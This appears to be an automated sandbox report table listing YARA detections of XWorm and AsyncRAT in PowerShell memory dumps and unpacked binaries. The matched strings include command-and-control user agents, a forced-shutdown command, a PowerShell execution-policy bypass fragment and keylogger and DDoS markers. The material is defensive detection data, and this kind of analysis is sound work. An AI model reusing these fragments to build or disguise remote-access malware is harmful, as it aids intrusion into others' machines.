0000000B.00000002.1969459274.000001D7E4BB0000.00000004.08000000.00040000.00000000.sdmp	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x60ab:$str01: $VB$Local_Port 0x609c:$str02: $VB$Local_Host 0x6380:$str03: get_Jpeg 0x5ddd:$str04: get_ServicePack 0x6e7c:$str05: Select * from AntivirusProduct 0x707a:$str06: PCRestart 0x708e:$str07: shutdown.exe /f /r /t 0 0x7140:$str08: StopReport 0x7116:$str09: StopDDos 0x720c:$str10: sendPlugin 0x728c:$str11: OfflineKeylogger Not Enabled 0x73e4:$str12: -ExecutionPolicy Bypass -File " 0x750d:$str13: Content-length: 5235
0000000B.00000002.1969459274.000001D7E4BB0000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6d8c:$s6: VirtualBox 0x6cea:$s8: Win32_ComputerSystem 0x75b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7653:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7768:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7428:$cnc4: POST / HTTP/1.1
00000012.00000002.2074612069.000001E1AA261000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000012.00000002.2074612069.000001E1AA261000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x760c:$s6: VirtualBox 0x1023c:$s6: VirtualBox 0x756a:$s8: Win32_ComputerSystem 0x1019a:$s8: Win32_ComputerSystem 0x7e36:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x10a66:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x155bc:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7ed3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x10b03:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x15674:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7fe8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x10c18:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x157a4:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7ca8:$cnc4: POST / HTTP/1.1 0x108d8:$cnc4: POST / HTTP/1.1
00000005.00000002.2325412269.000001D312D1B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000017.00000002.2248750195.000002CC070F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000017.00000002.2248750195.000002CC070F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000017.00000002.2248750195.000002CC070F1000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x3397c:$s6: VirtualBox 0x3dbcc:$s6: VirtualBox 0x338da:$s8: Win32_ComputerSystem 0x3db2a:$s8: Win32_ComputerSystem 0x341a6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x3e3f6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x34243:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x3e493:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x34358:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x3e5a8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x34018:$cnc4: POST / HTTP/1.1 0x3e268:$cnc4: POST / HTTP/1.1
0000000B.00000002.1945403188.000001D7CCDB3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0000000B.00000002.1945403188.000001D7CCDB3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0000000B.00000002.1945403188.000001D7CCDB3000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x322c4:$s6: VirtualBox 0x3aef4:$s6: VirtualBox 0x32222:$s8: Win32_ComputerSystem 0x3ae52:$s8: Win32_ComputerSystem 0x32aee:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x3b71e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x32b8b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x3b7bb:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x32ca0:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x3b8d0:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x32960:$cnc4: POST / HTTP/1.1 0x3b590:$cnc4: POST / HTTP/1.1
0000001C.00000002.2323673539.0000020601DE4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0000001C.00000002.2323673539.0000020601DE4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0000001C.00000002.2323673539.0000020601DE4000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x71dc:$s6: VirtualBox 0x713a:$s8: Win32_ComputerSystem 0x7a06:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7aa3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7bb8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7878:$cnc4: POST / HTTP/1.1
00000017.00000002.2248750195.000002CC07141000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000017.00000002.2248750195.000002CC07141000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x720c:$s6: VirtualBox 0xfe3c:$s6: VirtualBox 0x716a:$s8: Win32_ComputerSystem 0xfd9a:$s8: Win32_ComputerSystem 0x7a36:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x10666:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x151bc:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7ad3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x10703:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x15274:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7be8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x10818:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x153a4:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x78a8:$cnc4: POST / HTTP/1.1 0x104d8:$cnc4: POST / HTTP/1.1
Process Memory Space: powershell.exe PID: 7456	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: powershell.exe PID: 7456	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x587:$b2: ::FromBase64String( 0x9a19:$b2: ::FromBase64String( 0x1a79e:$b2: ::FromBase64String( 0x6af82:$b2: ::FromBase64String( 0x6de29:$b2: ::FromBase64String( 0x6ed68:$b2: ::FromBase64String( 0x6fbb2:$b2: ::FromBase64String( 0x713e1:$b2: ::FromBase64String( 0xc7574:$b2: ::FromBase64String( 0x15362f:$b2: ::FromBase64String( 0x17f440:$b2: ::FromBase64String( 0x180283:$b2: ::FromBase64String( 0x1c5475:$b2: ::FromBase64String( 0x1c62b8:$b2: ::FromBase64String( 0x1d006b:$b2: ::FromBase64String( 0x1ebe31:$b2: ::FromBase64String( 0x1ecc7c:$b2: ::FromBase64String( 0x1ee05d:$b2: ::FromBase64String( 0x1f28a4:$b2: ::FromBase64String( 0x1f2904:$b2: ::FromBase64String( 0x251eaf:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 7900	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: powershell.exe PID: 7900	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x3a96d:$b2: ::FromBase64String( 0x3b7b0:$b2: ::FromBase64String( 0x44fec:$b2: ::FromBase64String( 0x55e50:$b2: ::FromBase64String( 0x79c37:$b2: ::FromBase64String( 0x7aa7a:$b2: ::FromBase64String( 0x7d6fd:$b2: ::FromBase64String( 0xd14c7:$b2: ::FromBase64String( 0xeeaf7:$b2: ::FromBase64String( 0x10ea3a:$b2: ::FromBase64String( 0x10f884:$b2: ::FromBase64String( 0x110c58:$b2: ::FromBase64String( 0x149c65:$b2: ::FromBase64String( 0x14a9ef:$b2: ::FromBase64String( 0x14b92d:$b2: ::FromBase64String( 0x14c777:$b2: ::FromBase64String( 0x14dfab:$b2: ::FromBase64String( 0x17996f:$b2: ::FromBase64String( 0x1af0b3:$b2: ::FromBase64String( 0x1b8276:$b2: ::FromBase64String( 0x1dbe10:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 3152	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: powershell.exe PID: 3152	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xa81b:$b2: ::FromBase64String( 0x2179f:$b2: ::FromBase64String( 0x255c1:$b2: ::FromBase64String( 0x3c453:$b2: ::FromBase64String( 0x3d296:$b2: ::FromBase64String( 0x803de:$b2: ::FromBase64String( 0x81221:$b2: ::FromBase64String( 0x8debd:$b2: ::FromBase64String( 0x92f37:$b2: ::FromBase64String( 0x93d7a:$b2: ::FromBase64String( 0x9740c:$b2: ::FromBase64String( 0x98350:$b2: ::FromBase64String( 0x9919c:$b2: ::FromBase64String( 0x9aa38:$b2: ::FromBase64String( 0xa0d6f:$b2: ::FromBase64String( 0xe1eb0:$b2: ::FromBase64String( 0xf9144:$b2: ::FromBase64String( 0xf91a4:$b2: ::FromBase64String( 0x1140d2:$b2: ::FromBase64String( 0x114f22:$b2: ::FromBase64String( 0x16ef77:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 7312	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: powershell.exe PID: 7312	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1900:$b2: ::FromBase64String( 0x2743:$b2: ::FromBase64String( 0x302fd:$b2: ::FromBase64String( 0x41c17:$b2: ::FromBase64String( 0xa77bf:$b2: ::FromBase64String( 0xa8602:$b2: ::FromBase64String( 0x105cda:$b2: ::FromBase64String( 0x120872:$b2: ::FromBase64String( 0x139475:$b2: ::FromBase64String( 0x13c83d:$b2: ::FromBase64String( 0x13cde3:$b2: ::FromBase64String( 0x16e9d0:$b2: ::FromBase64String( 0x16f81a:$b2: ::FromBase64String( 0x170be8:$b2: ::FromBase64String( 0x1b4df2:$b2: ::FromBase64String( 0x1b5d30:$b2: ::FromBase64String( 0x1b6b7a:$b2: ::FromBase64String( 0x1b83a7:$b2: ::FromBase64String( 0x1b93b0:$b2: ::FromBase64String( 0x1eb143:$b2: ::FromBase64String( 0x20fdc7:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 2720	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: powershell.exe PID: 2720	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: powershell.exe PID: 2720	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x3e25e:$b2: ::FromBase64String( 0x4fa52:$b2: ::FromBase64String( 0xc6396:$b2: ::FromBase64String( 0xd7bf4:$b2: ::FromBase64String( 0x1017f2:$b2: ::FromBase64String( 0x101852:$b2: ::FromBase64String( 0x1023d4:$b2: ::FromBase64String( 0x103217:$b2: ::FromBase64String( 0x110094:$b2: ::FromBase64String( 0x110ed7:$b2: ::FromBase64String( 0x113902:$b2: ::FromBase64String( 0x12c659:$b2: ::FromBase64String( 0x16055f:$b2: ::FromBase64String( 0x178ef5:$b2: ::FromBase64String( 0x179d45:$b2: ::FromBase64String( 0x19abe3:$b2: ::FromBase64String( 0x1abb82:$b2: ::FromBase64String( 0x1abbe2:$b2: ::FromBase64String( 0x1d5981:$b2: ::FromBase64String( 0x1d67cc:$b2: ::FromBase64String( 0x1d7b9b:$b2: ::FromBase64String(
Click to see the 47 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.powershell.exe.1d3133b65d0.8.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
5.2.powershell.exe.1d3133b65d0.8.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
5.2.powershell.exe.1d3133b65d0.8.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x42ab:$str01: $VB$Local_Port 0x429c:$str02: $VB$Local_Host 0x4580:$str03: get_Jpeg 0x3fdd:$str04: get_ServicePack 0x507c:$str05: Select * from AntivirusProduct 0x527a:$str06: PCRestart 0x528e:$str07: shutdown.exe /f /r /t 0 0x5340:$str08: StopReport 0x5316:$str09: StopDDos 0x540c:$str10: sendPlugin 0x548c:$str11: OfflineKeylogger Not Enabled 0x55e4:$str12: -ExecutionPolicy Bypass -File " 0x570d:$str13: Content-length: 5235
5.2.powershell.exe.1d3133b65d0.8.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4f8c:$s6: VirtualBox 0x4eea:$s8: Win32_ComputerSystem 0x57b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x850c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5853:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x85c4:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5968:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x86f4:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5628:$cnc4: POST / HTTP/1.1
18.2.powershell.exe.1e1aa26a4b0.1.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
18.2.powershell.exe.1e1aa26a4b0.1.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
18.2.powershell.exe.1e1aa26a4b0.1.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x42ab:$str01: $VB$Local_Port 0x429c:$str02: $VB$Local_Host 0x4580:$str03: get_Jpeg 0x3fdd:$str04: get_ServicePack 0x507c:$str05: Select * from AntivirusProduct 0x527a:$str06: PCRestart 0x528e:$str07: shutdown.exe /f /r /t 0 0x5340:$str08: StopReport 0x5316:$str09: StopDDos 0x540c:$str10: sendPlugin 0x548c:$str11: OfflineKeylogger Not Enabled 0x55e4:$str12: -ExecutionPolicy Bypass -File " 0x570d:$str13: Content-length: 5235
18.2.powershell.exe.1e1aa26a4b0.1.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4f8c:$s6: VirtualBox 0x4eea:$s8: Win32_ComputerSystem 0x57b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x850c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5853:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x85c4:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5968:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x86f4:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5628:$cnc4: POST / HTTP/1.1
23.2.powershell.exe.2cc0714a0b0.4.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
23.2.powershell.exe.2cc0714a0b0.4.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
23.2.powershell.exe.2cc0714a0b0.4.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x42ab:$str01: $VB$Local_Port 0x429c:$str02: $VB$Local_Host 0x4580:$str03: get_Jpeg 0x3fdd:$str04: get_ServicePack 0x507c:$str05: Select * from AntivirusProduct 0x527a:$str06: PCRestart 0x528e:$str07: shutdown.exe /f /r /t 0 0x5340:$str08: StopReport 0x5316:$str09: StopDDos 0x540c:$str10: sendPlugin 0x548c:$str11: OfflineKeylogger Not Enabled 0x55e4:$str12: -ExecutionPolicy Bypass -File " 0x570d:$str13: Content-length: 5235
23.2.powershell.exe.2cc0714a0b0.4.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4f8c:$s6: VirtualBox 0x4eea:$s8: Win32_ComputerSystem 0x57b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x850c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5853:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x85c4:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5968:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x86f4:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5628:$cnc4: POST / HTTP/1.1
11.2.powershell.exe.1d7ccdde538.9.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
11.2.powershell.exe.1d7ccdde538.9.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
11.2.powershell.exe.1d7ccdde538.9.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x60ab:$str01: $VB$Local_Port 0xecdb:$str01: $VB$Local_Port 0x609c:$str02: $VB$Local_Host 0xeccc:$str02: $VB$Local_Host 0x6380:$str03: get_Jpeg 0xefb0:$str03: get_Jpeg 0x5ddd:$str04: get_ServicePack 0xea0d:$str04: get_ServicePack 0x6e7c:$str05: Select * from AntivirusProduct 0xfaac:$str05: Select * from AntivirusProduct 0x707a:$str06: PCRestart 0xfcaa:$str06: PCRestart 0x708e:$str07: shutdown.exe /f /r /t 0 0xfcbe:$str07: shutdown.exe /f /r /t 0 0x7140:$str08: StopReport 0xfd70:$str08: StopReport 0x7116:$str09: StopDDos 0xfd46:$str09: StopDDos 0x720c:$str10: sendPlugin 0xfe3c:$str10: sendPlugin 0x728c:$str11: OfflineKeylogger Not Enabled
11.2.powershell.exe.1d7ccdde538.9.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6d8c:$s6: VirtualBox 0xf9bc:$s6: VirtualBox 0x6cea:$s8: Win32_ComputerSystem 0xf91a:$s8: Win32_ComputerSystem 0x75b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x101e6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7653:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x10283:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7768:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x10398:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7428:$cnc4: POST / HTTP/1.1 0x10058:$cnc4: POST / HTTP/1.1
18.2.powershell.exe.1e1aa26a4b0.1.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
18.2.powershell.exe.1e1aa26a4b0.1.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x60ab:$str01: $VB$Local_Port 0x609c:$str02: $VB$Local_Host 0x6380:$str03: get_Jpeg 0x5ddd:$str04: get_ServicePack 0x6e7c:$str05: Select * from AntivirusProduct 0x707a:$str06: PCRestart 0x708e:$str07: shutdown.exe /f /r /t 0 0x7140:$str08: StopReport 0x7116:$str09: StopDDos 0x720c:$str10: sendPlugin 0x728c:$str11: OfflineKeylogger Not Enabled 0x73e4:$str12: -ExecutionPolicy Bypass -File " 0x750d:$str13: Content-length: 5235
18.2.powershell.exe.1e1aa26a4b0.1.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6d8c:$s6: VirtualBox 0x6cea:$s8: Win32_ComputerSystem 0x75b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xc10c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7653:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xc1c4:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7768:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xc2f4:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7428:$cnc4: POST / HTTP/1.1
5.2.powershell.exe.1d3133975c0.0.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
5.2.powershell.exe.1d3133975c0.0.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
5.2.powershell.exe.1d3133975c0.0.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x60ab:$str01: $VB$Local_Port 0x609c:$str02: $VB$Local_Host 0x6380:$str03: get_Jpeg 0x5ddd:$str04: get_ServicePack 0x6e7c:$str05: Select * from AntivirusProduct 0x707a:$str06: PCRestart 0x708e:$str07: shutdown.exe /f /r /t 0 0x7140:$str08: StopReport 0x7116:$str09: StopDDos 0x720c:$str10: sendPlugin 0x728c:$str11: OfflineKeylogger Not Enabled 0x73e4:$str12: -ExecutionPolicy Bypass -File " 0x750d:$str13: Content-length: 5235
5.2.powershell.exe.1d3133975c0.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6d8c:$s6: VirtualBox 0x6cea:$s8: Win32_ComputerSystem 0x75b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7653:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7768:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7428:$cnc4: POST / HTTP/1.1
28.2.powershell.exe.20601de4450.13.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
28.2.powershell.exe.20601de4450.13.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
28.2.powershell.exe.20601de4450.13.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x42ab:$str01: $VB$Local_Port 0x429c:$str02: $VB$Local_Host 0x4580:$str03: get_Jpeg 0x3fdd:$str04: get_ServicePack 0x507c:$str05: Select * from AntivirusProduct 0x527a:$str06: PCRestart 0x528e:$str07: shutdown.exe /f /r /t 0 0x5340:$str08: StopReport 0x5316:$str09: StopDDos 0x540c:$str10: sendPlugin 0x548c:$str11: OfflineKeylogger Not Enabled 0x55e4:$str12: -ExecutionPolicy Bypass -File " 0x570d:$str13: Content-length: 5235
